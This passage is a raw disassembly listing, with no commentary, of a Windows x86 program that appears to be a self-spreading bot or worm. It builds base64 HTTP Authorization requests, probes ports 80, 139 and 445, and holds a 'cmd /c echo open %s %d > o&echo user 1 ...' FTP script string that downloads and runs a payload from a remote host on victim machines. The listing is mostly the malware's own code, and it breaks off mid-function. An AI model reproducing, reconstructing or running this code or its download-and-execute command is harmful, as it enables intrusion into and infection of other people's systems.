; ---------------------------------------------------------------------------


loc_40D01D:				; CODE XREF: sub_40CFDE+39j
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40CF04
		add	esp, 0Ch
		leave
		retn
sub_40CFDE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D030	proc near		; CODE XREF: sub_40D07C+2Dp

var_10		= qword	ptr -10h
var_8		= qword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_0]
		and	dword ptr [ebp+var_8+4], 0
		shl	eax, 3
		mov	dword ptr [ebp+var_8], eax
		fild	[ebp+var_8]
		fmul	dbl_427690
		call	sub_41C798
		and	dword ptr [ebp+var_8+4], 0
		mov	dword ptr [ebp+var_8], eax
		fild	[ebp+var_8]
		push	ecx
		push	ecx		; double
		fst	[ebp+var_8]
		fmul	dbl_427688
		fstp	[esp+10h+var_10]
		call	sub_41C679
		fadd	st, st
		pop	ecx
		pop	ecx
		fadd	[ebp+var_8]
		call	sub_41C798
		inc	eax
		leave
		retn
sub_40D030	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D07C	proc near		; CODE XREF: sub_40D21E+24p

var_40		= qword	ptr -40h

		mov	eax, offset loc_426DF7
		call	sub_41CC64
		sub	esp, 2Ch
		mov	al, [ebp+13h]
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		lea	ecx, [ebp-38h]
		push	edi
		mov	[ebp-20h], edi
		mov	[ebp-38h], al
		call	sub_40D6B3
		push	1
		pop	ebx
		push	dword ptr [ebp+10h]
		mov	[ebp-4], ebx
		call	sub_40D030
		cmp	[ebp-2Ch], eax
		pop	ecx
		jnb	short loc_40D0BE
		push	edi
		push	eax
		lea	ecx, [ebp-38h]
		call	sub_40D62E


loc_40D0BE:				; CODE XREF: sub_40D07C+36j
		cmp	[ebp+10h], edi
		mov	[ebp-18h], edi
		jbe	loc_40D1DB
		mov	ebx, [ebp+10h]


loc_40D0CD:				; CODE XREF: sub_40D07C+156j
		cmp	dword ptr [ebp+10h], 3
		jb	short loc_40D0D7
		push	3
		jmp	short loc_40D0E9
; ---------------------------------------------------------------------------


loc_40D0D7:				; CODE XREF: sub_40D07C+55j
		cmp	dword ptr [ebp+10h], 2
		jnz	short loc_40D0E1
		push	2
		jmp	short loc_40D0E9
; ---------------------------------------------------------------------------


loc_40D0E1:				; CODE XREF: sub_40D07C+5Fj
		cmp	dword ptr [ebp+10h], 1
		jnz	short loc_40D0EA
		push	1


loc_40D0E9:				; CODE XREF: sub_40D07C+59j
					; sub_40D07C+63j
		pop	ebx


loc_40D0EA:				; CODE XREF: sub_40D07C+69j
		mov	[ebp-28h], ebx
		mov	[ebp-24h], edi
		fild	qword ptr [ebp-28h]
		push	ecx
		push	ecx		; double
		fmul	dbl_4276A0
		fstp	[esp+40h+var_40]
		call	sub_41C7BF
		pop	ecx
		pop	ecx
		call	sub_41C798
		cmp	ebx, edi
		mov	[ebp-1Ch], eax
		jbe	short loc_40D129
		mov	esi, [ebp+0Ch]
		mov	ecx, ebx
		mov	edx, ecx
		lea	edi, [ebp-10h]
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		xor	edi, edi


loc_40D129:				; CODE XREF: sub_40D07C+93j
		mov	cl, [ebp-10h]
		mov	dl, [ebp-10h]
		sar	cl, 2
		and	cl, 3Fh
		and	dl, 3
		mov	[ebp-14h], cl
		mov	cl, [ebp-0Fh]
		sar	cl, 4
		and	cl, 0Fh
		add	[ebp+0Ch], ebx
		shl	dl, 4
		add	cl, dl
		mov	dl, [ebp-0Fh]
		mov	[ebp-13h], cl
		mov	cl, [ebp-0Eh]
		sar	cl, 6
		and	dl, 0Fh
		sub	[ebp+10h], ebx
		and	cl, 3
		xor	esi, esi
		shl	dl, 2
		add	cl, dl
		mov	[ebp-12h], cl
		mov	cl, [ebp-0Eh]
		and	cl, 3Fh
		cmp	eax, edi
		mov	[ebp-11h], cl
		jbe	short loc_40D197
		add	[ebp-18h], eax


loc_40D17B:				; CODE XREF: sub_40D07C+119j
		movsx	eax, byte ptr [ebp+esi-14h]
		lea	ecx, [ebp-38h]
		mov	al, byte_431D64[eax]
		push	eax
		push	1
		call	sub_40D4B0
		inc	esi
		cmp	esi, [ebp-1Ch]
		jb	short loc_40D17B


loc_40D197:				; CODE XREF: sub_40D07C+FAj
		cmp	dword ptr [ebp-18h], 48h
		jb	short loc_40D1B5
		push	dword ptr [ebp+14h]
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	ecx, [ebp-38h]
		push	dword ptr [ebp+14h]
		call	sub_40D509
		mov	[ebp-18h], edi


loc_40D1B5:				; CODE XREF: sub_40D07C+11Fj
		push	4
		pop	esi
		cmp	[ebp-1Ch], esi
		jnb	short loc_40D1CF
		sub	esi, [ebp-1Ch]


loc_40D1C0:				; CODE XREF: sub_40D07C+151j
		push	3Dh
		push	1
		lea	ecx, [ebp-38h]
		call	sub_40D4B0
		dec	esi
		jnz	short loc_40D1C0


loc_40D1CF:				; CODE XREF: sub_40D07C+13Fj
		cmp	[ebp+10h], edi
		ja	loc_40D0CD
		push	1
		pop	ebx


loc_40D1DB:				; CODE XREF: sub_40D07C+48j
		mov	esi, [ebp+8]
		mov	al, [ebp-38h]
		push	edi
		mov	ecx, esi
		mov	[esi], al
		call	sub_40D6B3
		push	dword_427698
		lea	eax, [ebp-38h]
		mov	ecx, esi
		push	edi
		push	eax
		call	sub_40D560
		mov	[ebp-20h], ebx
		and	byte ptr [ebp-4], 0
		push	ebx
		lea	ecx, [ebp-38h]
		call	sub_40D6B3
		mov	ecx, [ebp-0Ch]
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		leave
		retn
sub_40D07C	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D21E	proc near		; CODE XREF: ___:0040D41Bp
		mov	eax, offset loc_426E14
		call	sub_41CC64
		sub	esp, 10h
		push	ebx
		push	esi
		push	edi
		push	offset dword_43D128
		lea	eax, [ebp-1Ch]
		push	dword ptr [ebp+10h]
		xor	ebx, ebx
		mov	[ebp-4], ebx
		push	dword ptr [ebp+0Ch]
		push	eax
		call	sub_40D07C
		mov	eax, [ebp+1Ch]
		mov	ecx, [ebp-14h]
		mov	byte ptr [ebp-4], 1
		lea	esi, [ecx+eax+36h]
		push	esi
		call	sub_41B4D5
		mov	edi, eax
		add	esp, 14h
		cmp	edi, ebx
		jnz	short loc_40D268
		xor	bl, bl
		jmp	short loc_40D2AC
; ---------------------------------------------------------------------------


loc_40D268:				; CODE XREF: sub_40D21E+44j
		mov	ecx, [ebp-18h]
		mov	eax, offset dword_4276A8
		cmp	ecx, ebx
		jnz	short loc_40D276
		mov	ecx, eax


loc_40D276:				; CODE XREF: sub_40D21E+54j
		cmp	[ebp+18h], ebx
		jz	short loc_40D27E
		mov	eax, [ebp+18h]


loc_40D27E:				; CODE XREF: sub_40D21E+5Bj
		push	ecx
		push	eax
		push	offset aGetHttp1_0Host ; "GET /	HTTP/1.0\r\nHost: %s\r\nAuthorization"...
		push	esi
		push	edi
		call	sub_41B980
		add	esp, 14h
		push	ebx
		push	esi
		push	edi
		push	dword ptr [ebp+8]
		call	dword_4CAFC4
		cmp	eax, esi
		jz	short loc_40D2A3
		xor	bl, bl
		jmp	short loc_40D2A5
; ---------------------------------------------------------------------------


loc_40D2A3:				; CODE XREF: sub_40D21E+7Fj
		mov	bl, 1


loc_40D2A5:				; CODE XREF: sub_40D21E+83j
		push	edi
		call	sub_41B0B1
		pop	ecx


loc_40D2AC:				; CODE XREF: sub_40D21E+48j
		and	byte ptr [ebp-4], 0
		push	1
		lea	ecx, [ebp-1Ch]
		call	sub_40D6B3
		or	dword ptr [ebp-4], 0FFFFFFFFh
		push	1
		lea	ecx, [ebp+14h]
		call	sub_40D6B3
		mov	ecx, [ebp-0Ch]
		pop	edi
		mov	al, bl
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		leave
		retn
sub_40D21E	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 420h
		and	byte ptr [ebp-420h], 0
		push	ebx
		push	esi
		push	edi
		mov	ecx, 0FFh
		xor	eax, eax
		lea	edi, [ebp-41Fh]
		push	8Fh
		rep stosd
		stosw
		stosb
		lea	eax, [ebp-420h]
		push	offset sub_431F10
		push	eax
		call	sub_41C310
		add	esp, 0Ch
		mov	eax, offset byte_429108
		push	eax
		push	eax
		movzx	eax, word ptr dword_4CACB0
		push	eax
		push	dword ptr [ebp+8]
		call	sub_40AC0F
		pop	ecx
		push	eax
		push	offset aCmdCEchoOpenSD ; "cmd /c echo open %s %d > o&echo user 1 "...
		lea	eax, [ebp-391h]
		push	400h
		push	eax
		call	sub_41B980
		add	eax, 90h
		push	eax
		lea	eax, [ebp-420h]
		push	eax
		push	164h
		lea	eax, [ebp-8]
		push	offset sub_431DA8
		push	eax
		call	sub_40CADA
		xor	esi, esi
		add	esp, 30h
		cmp	[ebp-4], esi
		jnz	short loc_40D377
		xor	eax, eax
		jmp	loc_40D4A3
; ---------------------------------------------------------------------------


loc_40D377:				; CODE XREF: ___:0040D36Ej
		mov	[ebp-0Ch], esi


loc_40D37A:				; CODE XREF: ___:0040D47Aj
		test	esi, esi
		jnz	loc_40D480
		push	6
		push	1
		push	2
		nop
		call	near ptr 71AB3C22h
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_40D468
		xor	eax, eax
		lea	edi, [ebp-1Ah]
		stosd
		push	dword ptr [ebp+0A8h]
		stosd
		stosd
		stosw
		mov	word ptr [ebp-1Ch], 2
		call	dword_4CAF74
		mov	[ebp-1Ah], ax
		lea	eax, [ebp+0Ch]
		push	eax
		call	dword_4CAFB4
		mov	[ebp-18h], eax
		lea	eax, [ebp-1Ch]
		push	10h
		push	eax
		push	ebx
		call	dword_4CAF1C
		cmp	eax, 0FFFFFFFFh
		jz	loc_40D45D
		cmp	dword ptr [ebp+0A8h], 50h
		jnz	short loc_40D425
		mov	al, [ebp+0C3h]
		sub	esp, 10h
		mov	esi, esp
		mov	[ebp-20h], esp
		push	0
		mov	ecx, esi
		mov	[esi], al
		call	sub_40D6B3
		lea	eax, [ebp+0Ch]
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+0Ch]
		push	eax
		mov	ecx, esi
		call	sub_40D6EF
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8]
		push	ebx
		call	sub_40D21E
		add	esp, 1Ch
		jmp	short loc_40D45A
; ---------------------------------------------------------------------------


loc_40D425:				; CODE XREF: ___:0040D3E3j
		cmp	dword ptr [ebp+0A8h], 8Bh
		jnz	short loc_40D43F
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8]
		push	ebx
		call	sub_40CFDE
		jmp	short loc_40D457
; ---------------------------------------------------------------------------


loc_40D43F:				; CODE XREF: ___:0040D42Fj
		cmp	dword ptr [ebp+0A8h], 1BDh
		jnz	short loc_40D45D
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8]
		push	ebx
		call	sub_40CF04


loc_40D457:				; CODE XREF: ___:0040D43Dj
		add	esp, 0Ch


loc_40D45A:				; CODE XREF: ___:0040D423j
		movzx	esi, al


loc_40D45D:				; CODE XREF: ___:0040D3D6j
					; ___:0040D449j
		push	ebx
		call	dword_4CB00C
		test	esi, esi
		jnz	short loc_40D473


loc_40D468:				; CODE XREF: ___:0040D393j
		push	3E8h
		call	near ptr 2660545h
		nop


loc_40D473:				; CODE XREF: ___:0040D466j
		inc	dword ptr [ebp-0Ch]
		cmp	dword ptr [ebp-0Ch], 2
		jl	loc_40D37A


loc_40D480:				; CODE XREF: ___:0040D37Cj
		lea	ecx, [ebp-8]
		call	sub_40C8FF
		test	esi, esi
		jz	short loc_40D4A1
		mov	eax, [ebp+0B0h]
		shl	eax, 6
		inc	dword_431410[eax]
		lea	eax, dword_431410[eax]


loc_40D4A1:				; CODE XREF: ___:0040D48Aj
		mov	eax, esi


loc_40D4A3:				; CODE XREF: ___:0040D372j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426DD8


loc_40D4A8:				; CODE XREF: sub_426DD8+3j
					; ___:00426DF1j ...
		push	1
		call	sub_40D6B3
		retn
; END OF FUNCTION CHUNK	FOR sub_426DD8

; =============== S U B	R O U T	I N E =======================================



sub_40D4B0	proc near		; CODE XREF: sub_40D07C+110p
					; sub_40D07C+14Bp

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		mov	eax, dword_427698
		push	ebx
		mov	ebx, [esp+4+arg_0]
		push	esi
		mov	esi, ecx
		push	edi
		sub	eax, [esi+8]
		cmp	eax, ebx
		ja	short loc_40D4CA
		call	sub_42669A


loc_40D4CA:				; CODE XREF: sub_40D4B0+13j
		test	ebx, ebx
		jbe	short loc_40D501
		mov	edi, ebx
		push	0
		add	edi, [esi+8]
		mov	ecx, esi
		push	edi
		call	sub_40D62E
		test	al, al
		jz	short loc_40D501
		movsx	eax, [esp+0Ch+arg_4]
		push	ebx
		push	eax
		mov	eax, [esi+4]
		add	eax, [esi+8]
		push	eax
		call	sub_41B590
		mov	eax, [esi+4]
		add	esp, 0Ch
		mov	[esi+8], edi
		and	byte ptr [eax+edi], 0


loc_40D501:				; CODE XREF: sub_40D4B0+1Cj
					; sub_40D4B0+2Fj
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_40D4B0	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D509	proc near		; CODE XREF: sub_40D07C+131p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, dword_427698
		push	ebx
		mov	ebx, [esp+4+arg_4]
		push	esi
		mov	esi, ecx
		push	edi
		sub	eax, [esi+8]
		cmp	eax, ebx
		ja	short loc_40D523
		call	sub_42669A


loc_40D523:				; CODE XREF: sub_40D509+13j
		test	ebx, ebx
		jbe	short loc_40D558
		mov	edi, ebx
		push	0
		add	edi, [esi+8]
		mov	ecx, esi
		push	edi
		call	sub_40D62E
		test	al, al
		jz	short loc_40D558
		mov	eax, [esi+8]
		push	ebx
		push	[esp+10h+arg_0]
		add	eax, [esi+4]
		push	eax
		call	sub_41C310
		mov	eax, [esi+4]
		add	esp, 0Ch
		mov	[esi+8], edi
		and	byte ptr [edi+eax], 0


loc_40D558:				; CODE XREF: sub_40D509+1Cj
					; sub_40D509+2Fj
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_40D509	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D560	proc near		; CODE XREF: sub_40D07C+17Cp
					; sub_4265B0+15p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_4]
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		push	edi
		mov	edi, ecx
		cmp	[ebx+8], eax
		jnb	short loc_40D578
		call	sub_426573


loc_40D578:				; CODE XREF: sub_40D560+11j
		mov	eax, [ebx+8]
		mov	ecx, [ebp+arg_4]
		mov	esi, eax
		sub	esi, ecx
		cmp	[ebp+arg_8], esi
		jnb	short loc_40D58A
		mov	esi, [ebp+arg_8]


loc_40D58A:				; CODE XREF: sub_40D560+25j
		cmp	edi, ebx
		jnz	short loc_40D5AC
		push	dword_427698
		add	esi, ecx
		mov	ecx, edi
		push	esi
		call	sub_40D724
		push	[ebp+arg_4]
		mov	ecx, edi
		push	0
		call	sub_40D724
		jmp	short loc_40D625
; ---------------------------------------------------------------------------


loc_40D5AC:				; CODE XREF: sub_40D560+2Cj
		test	esi, esi
		jbe	short loc_40D5EF
		cmp	esi, eax
		jnz	short loc_40D5EF
		mov	eax, [ebx+4]
		test	eax, eax
		jnz	short loc_40D5C0
		mov	eax, offset dword_4276A8


loc_40D5C0:				; CODE XREF: sub_40D560+59j
		cmp	byte ptr [eax-1], 0FEh
		jnb	short loc_40D5EF
		push	1
		mov	ecx, edi
		call	sub_40D6B3
		mov	eax, [ebx+4]
		test	eax, eax
		jnz	short loc_40D5DB
		mov	eax, offset dword_4276A8


loc_40D5DB:				; CODE XREF: sub_40D560+74j
		mov	[edi+4], eax
		mov	ecx, [ebx+8]
		mov	[edi+8], ecx
		mov	ecx, [ebx+0Ch]
		mov	[edi+0Ch], ecx
		inc	byte ptr [eax-1]
		jmp	short loc_40D625
; ---------------------------------------------------------------------------


loc_40D5EF:				; CODE XREF: sub_40D560+4Ej
					; sub_40D560+52j ...
		push	1
		push	esi
		mov	ecx, edi
		call	sub_40D62E
		test	al, al
		jz	short loc_40D625
		mov	eax, [ebx+4]
		test	eax, eax
		jnz	short loc_40D609
		mov	eax, offset dword_4276A8


loc_40D609:				; CODE XREF: sub_40D560+A2j
		mov	ecx, [ebp+arg_4]
		push	esi
		add	eax, ecx
		push	eax
		push	dword ptr [edi+4]
		call	sub_41C310
		mov	eax, [edi+4]
		add	esp, 0Ch
		mov	[edi+8], esi
		and	byte ptr [eax+esi], 0


loc_40D625:				; CODE XREF: sub_40D560+4Aj
					; sub_40D560+8Dj ...
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn	0Ch
sub_40D560	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D62E	proc near		; CODE XREF: sub_40D07C+3Dp
					; sub_40D4B0+28p ...

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	esi, ecx
		cmp	edi, 0FFFFFFFDh
		jbe	short loc_40D640
		call	sub_42669A


loc_40D640:				; CODE XREF: sub_40D62E+Bj
		mov	ecx, [esi+4]
		xor	edx, edx
		cmp	ecx, edx
		jz	short loc_40D669
		mov	al, [ecx-1]
		cmp	al, dl
		jz	short loc_40D669
		cmp	al, 0FFh
		jz	short loc_40D669
		cmp	edi, edx
		jnz	short loc_40D6A4
		dec	al
		push	edx
		mov	[ecx-1], al


loc_40D65E:				; CODE XREF: sub_40D62E+47j
		mov	ecx, esi
		call	sub_40D6B3


loc_40D665:				; CODE XREF: sub_40D62E+4Bj
					; sub_40D62E+52j
		xor	al, al
		jmp	short loc_40D6AE
; ---------------------------------------------------------------------------


loc_40D669:				; CODE XREF: sub_40D62E+19j
					; sub_40D62E+20j ...
		cmp	edi, edx
		jnz	short loc_40D682
		cmp	[esp+8+arg_4], dl
		jz	short loc_40D677
		push	1
		jmp	short loc_40D65E
; ---------------------------------------------------------------------------


loc_40D677:				; CODE XREF: sub_40D62E+43j
		cmp	ecx, edx
		jz	short loc_40D665
		mov	[esi+8], edx
		mov	[ecx], dl
		jmp	short loc_40D665
; ---------------------------------------------------------------------------


loc_40D682:				; CODE XREF: sub_40D62E+3Dj
		cmp	[esp+8+arg_4], dl
		jz	short loc_40D69F
		mov	eax, [esi+0Ch]
		cmp	eax, 1Fh
		ja	short loc_40D694
		cmp	eax, edi
		jnb	short loc_40D6AC


loc_40D694:				; CODE XREF: sub_40D62E+60j
		push	1
		mov	ecx, esi
		call	sub_40D6B3
		jmp	short loc_40D6A4
; ---------------------------------------------------------------------------


loc_40D69F:				; CODE XREF: sub_40D62E+58j
		cmp	[esi+0Ch], edi
		jnb	short loc_40D6AC


loc_40D6A4:				; CODE XREF: sub_40D62E+28j
					; sub_40D62E+6Fj
		push	edi
		mov	ecx, esi
		call	sub_40D78B


loc_40D6AC:				; CODE XREF: sub_40D62E+64j
					; sub_40D62E+74j
		mov	al, 1


loc_40D6AE:				; CODE XREF: sub_40D62E+39j
		pop	edi
		pop	esi
		retn	8
sub_40D62E	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D6B3	proc near		; CODE XREF: sub_40D07C+1Fp
					; sub_40D07C+16Ap ...

arg_0		= byte ptr  4

		cmp	[esp+arg_0], 0
		push	esi
		mov	esi, ecx
		jz	short loc_40D6DF
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_40D6DF
		lea	ecx, [eax-1]
		mov	al, [eax-1]
		test	al, al
		jz	short loc_40D6D8
		cmp	al, 0FFh
		jz	short loc_40D6D8
		dec	al
		mov	[ecx], al
		jmp	short loc_40D6DF
; ---------------------------------------------------------------------------


loc_40D6D8:				; CODE XREF: sub_40D6B3+19j
					; sub_40D6B3+1Dj
		push	ecx
		call	sub_41CC83
		pop	ecx


loc_40D6DF:				; CODE XREF: sub_40D6B3+8j
					; sub_40D6B3+Fj ...
		and	dword ptr [esi+4], 0
		and	dword ptr [esi+8], 0
		and	dword ptr [esi+0Ch], 0
		pop	esi
		retn	4
sub_40D6B3	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D6EF	proc near		; CODE XREF: ___:0040D40Fp
					; sub_40D848+28p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		mov	edi, [esp+8+arg_4]
		push	1
		mov	esi, ecx
		push	edi
		call	sub_40D62E
		test	al, al
		jz	short loc_40D71D
		push	edi
		push	[esp+0Ch+arg_0]
		push	dword ptr [esi+4]
		call	sub_41C310
		mov	eax, [esi+4]
		add	esp, 0Ch
		mov	[esi+8], edi
		and	byte ptr [eax+edi], 0


loc_40D71D:				; CODE XREF: sub_40D6EF+12j
		mov	eax, esi
		pop	edi
		pop	esi
		retn	8
sub_40D6EF	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D724	proc near		; CODE XREF: sub_40D560+39p
					; sub_40D560+45p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		mov	esi, [esp+8+arg_0]
		push	edi
		mov	edi, ecx
		cmp	[edi+8], esi
		jnb	short loc_40D737
		call	sub_426573


loc_40D737:				; CODE XREF: sub_40D724+Cj
		mov	ecx, edi
		call	sub_40D848
		mov	eax, [edi+8]
		mov	ebx, [esp+0Ch+arg_4]
		sub	eax, esi
		cmp	eax, ebx
		jnb	short loc_40D74D
		mov	ebx, eax


loc_40D74D:				; CODE XREF: sub_40D724+25j
		test	ebx, ebx
		jbe	short loc_40D783
		mov	ecx, [edi+4]
		sub	eax, ebx
		add	ecx, esi
		push	eax
		lea	eax, [ecx+ebx]
		push	eax
		push	ecx
		call	sub_41CC90
		mov	esi, [edi+8]
		add	esp, 0Ch
		sub	esi, ebx
		mov	ecx, edi
		push	0
		push	esi
		call	sub_40D62E
		test	al, al
		jz	short loc_40D783
		mov	eax, [edi+4]
		mov	[edi+8], esi
		and	byte ptr [esi+eax], 0


loc_40D783:				; CODE XREF: sub_40D724+2Bj
					; sub_40D724+53j
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_40D724	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D78B	proc near		; CODE XREF: sub_40D62E+79p
		mov	eax, offset loc_426E20
		call	sub_41CC64
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+8]
		or	edi, 1Fh
		mov	esi, ecx
		cmp	edi, 0FFFFFFFDh
		mov	[ebp-10h], esp
		mov	[ebp-14h], esi
		jbe	short loc_40D7B1
		mov	edi, [ebp+8]


loc_40D7B1:				; CODE XREF: sub_40D78B+21j
		and	dword ptr [ebp-4], 0
		lea	eax, [edi+2]
		test	eax, eax
		jge	short loc_40D7BE
		xor	eax, eax


loc_40D7BE:				; CODE XREF: sub_40D78B+2Fj
		push	eax
		call	sub_41CFC5
		pop	ecx
		mov	[ebp+8], eax
		jmp	short loc_40D7EF
; ---------------------------------------------------------------------------
		mov	eax, [ebp+8]
		mov	[ebp-18h], eax
		add	eax, 2
		test	eax, eax
		jge	short loc_40D7D9
		xor	eax, eax


loc_40D7D9:				; CODE XREF: sub_40D78B+4Aj
		push	eax
		call	sub_41CFC5
		mov	[ebp+8], eax
		pop	ecx
		mov	eax, offset loc_40D7E9
		retn
; ---------------------------------------------------------------------------


loc_40D7E9:				; DATA XREF: sub_40D78B+58o
		mov	esi, [ebp-14h]
		mov	edi, [ebp-18h]


loc_40D7EF:				; CODE XREF: sub_40D78B+3Dj
		mov	eax, [esi+8]
		test	eax, eax
		jbe	short loc_40D80D
		cmp	eax, edi
		jbe	short loc_40D7FC
		mov	eax, edi


loc_40D7FC:				; CODE XREF: sub_40D78B+6Dj
		push	eax
		mov	eax, [ebp+8]
		push	dword ptr [esi+4]
		inc	eax
		push	eax
		call	sub_41C310
		add	esp, 0Ch


loc_40D80D:				; CODE XREF: sub_40D78B+69j
		mov	ebx, [esi+8]
		push	1
		mov	ecx, esi
		call	sub_40D6B3
		mov	eax, [ebp+8]
		inc	eax
		mov	[esi+4], eax
		and	byte ptr [eax-1], 0
		cmp	ebx, edi
		mov	[esi+0Ch], edi
		ja	short loc_40D82D
		mov	edi, ebx


loc_40D82D:				; CODE XREF: sub_40D78B+9Ej
		mov	eax, [esi+4]
		mov	ecx, [ebp-0Ch]
		mov	[esi+8], edi
		and	byte ptr [eax+edi], 0
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		pop	ebx
		leave
		retn	4
sub_40D78B	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D848	proc near		; CODE XREF: sub_40D724+15p
		push	esi
		push	edi
		mov	edi, ecx
		mov	esi, [edi+4]
		test	esi, esi
		jz	short loc_40D875
		mov	al, [esi-1]
		test	al, al
		jz	short loc_40D875
		cmp	al, 0FFh
		jz	short loc_40D875
		push	1
		call	sub_40D6B3
		push	esi
		call	sub_41AFE0
		pop	ecx
		push	eax
		push	esi
		mov	ecx, edi
		call	sub_40D6EF


loc_40D875:				; CODE XREF: sub_40D848+9j
					; sub_40D848+10j ...
		pop	edi
		pop	esi
		retn
sub_40D848	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D878	proc near		; DATA XREF: ___:00429008o
		test	byte_4DB594, 1
		jnz	short loc_40D888
		or	byte_4DB594, 1


loc_40D888:				; CODE XREF: sub_40D878+7j
		jmp	$+5
		push	offset nullsub_1
		call	sub_41D040
		pop	ecx
		retn
sub_40D878	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40D89A	proc near		; DATA XREF: ___:0042900Co
		jmp	$+5
sub_40D89A	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_40D89F	proc near
		mov	eax, dword_4321C8
		add	eax, 6
		mov	dword_4CDC94, eax
		retn
sub_40D89F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D8AD	proc near		; CODE XREF: sub_40D8AD+D0p
					; ___:0040DE0Cp

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch
arg_7		= byte ptr  0Fh
arg_C		= word ptr  14h
arg_14		= dword	ptr  1Ch
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h
arg_24		= dword	ptr  2Ch
arg_28		= byte ptr  30h
arg_2B		= byte ptr  33h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		cmp	[ebp+arg_28], 0
		push	ebx
		push	esi
		push	edi
		jz	short loc_40D8C1
		or	[ebp+arg_7], 1
		jmp	short loc_40D8C5
; ---------------------------------------------------------------------------


loc_40D8C1:				; CODE XREF: sub_40D8AD+Cj
		and	[ebp+arg_7], 0FEh


loc_40D8C5:				; CODE XREF: sub_40D8AD+12j
		mov	ecx, [ebp+arg_24]
		mov	ebx, [ebp+arg_20]
		movzx	eax, cx
		lea	edx, [ebx+18h]
		cmp	edx, eax
		ja	short loc_40D8E9
		or	[ebp+arg_7], 2
		and	[ebp+arg_2B], 0
		lea	eax, [ebx+18h]
		mov	[ebp+arg_14], ebx
		mov	[ebp+arg_C], ax
		jmp	short loc_40D8FB
; ---------------------------------------------------------------------------


loc_40D8E9:				; CODE XREF: sub_40D8AD+26j
		add	eax, 0FFFFFFE8h
		and	[ebp+arg_7], 0FDh
		mov	[ebp+arg_C], cx
		mov	[ebp+arg_14], eax
		mov	[ebp+arg_2B], 1


loc_40D8FB:				; CODE XREF: sub_40D8AD+3Aj
		movzx	eax, [ebp+arg_C]
		push	eax
		mov	[ebp+var_4], eax
		call	sub_41B4D5
		test	eax, eax
		pop	ecx
		mov	[ebp+arg_20], eax
		jz	loc_40D994
		push	6
		lea	esi, [ebp+arg_4]
		pop	ecx
		mov	edi, eax
		rep movsd
		mov	edi, [ebp+arg_14]
		mov	esi, [ebp+arg_1C]
		push	edi
		add	eax, 18h
		push	esi
		push	eax
		call	sub_41C310
		add	esp, 0Ch
		lea	eax, [ebp+var_8]
		push	0
		push	eax
		push	[ebp+var_4]
		push	[ebp+arg_20]
		push	[ebp+arg_0]
		call	near ptr 26D0000h
		nop
		test	eax, eax
		jz	short loc_40D98B
		mov	eax, [ebp+var_4]
		cmp	[ebp+var_8], eax
		jnz	short loc_40D98B
		push	[ebp+arg_20]
		call	sub_41B0B1
		cmp	[ebp+arg_2B], 0
		pop	ecx
		jz	short loc_40D987
		push	0
		sub	ebx, edi
		push	[ebp+arg_24]
		add	edi, esi
		lea	esi, [ebp+arg_4]
		push	ebx
		push	edi
		sub	esp, 18h
		push	6
		pop	ecx
		mov	edi, esp
		push	[ebp+arg_0]
		rep movsd
		call	sub_40D8AD
		add	esp, 2Ch
		jmp	short loc_40D996
; ---------------------------------------------------------------------------


loc_40D987:				; CODE XREF: sub_40D8AD+B3j
		mov	al, 1
		jmp	short loc_40D996
; ---------------------------------------------------------------------------


loc_40D98B:				; CODE XREF: sub_40D8AD+9Cj
